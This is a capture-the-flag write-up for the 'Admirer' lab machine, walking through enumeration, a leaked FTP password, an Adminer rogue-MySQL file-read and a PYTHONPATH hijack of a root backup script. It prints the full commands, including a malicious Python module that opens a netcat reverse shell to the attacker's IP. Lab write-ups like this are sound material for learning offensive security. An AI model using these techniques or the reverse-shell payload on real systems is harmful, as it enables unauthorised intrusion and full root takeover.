Admirer

Enumeration and exposed credentials

AutoRecon identified HTTP and an exposed /admin-dir. Gobuster found contacts.txt and credentials.txt, which disclosed internal mail, FTP, and WordPress credentials.

gobuster dir -w /usr/share/dirb/wordlists/big.txt \
  -u http://10.10.10.187/admin-dir -x php,html,txt

ftpuser:%n?4Wz}R$tTF7

The FTP account exposed dump.sql and html.tar.gz. Extracting the web backup and searching for passwords revealed application credentials and the utility-scripts directory.

Adminer file disclosure and SSH

Directory enumeration found adminer.php. A MariaDB server controlled from the attacking host was used with Adminer to read a local file from Admirer, revealing Waldo's updated password.

sudo mysql -u root
CREATE DATABASE backup;
USE backup;
CREATE TABLE backup (name VARCHAR(2000));
CREATE USER 'backup'@'10.10.10.187' IDENTIFIED BY 'toor';
GRANT ALL PRIVILEGES ON backup.* TO 'backup'@'10.10.10.187';

The recovered Waldo credential provided SSH access.

Privilege escalation

The root-owned administrative workflow called backup.py, which imported shutil. Because the task could be executed with a controlled PYTHONPATH, a malicious replacement module in /dev/shm produced a root callback.

import os
def make_archive(h, t, b):
    os.system('nc 10.10.14.4 9999 -e "/bin/bash"')

sudo PYTHONPATH=/dev/shm /opt/scripts/admin_tasks.sh 6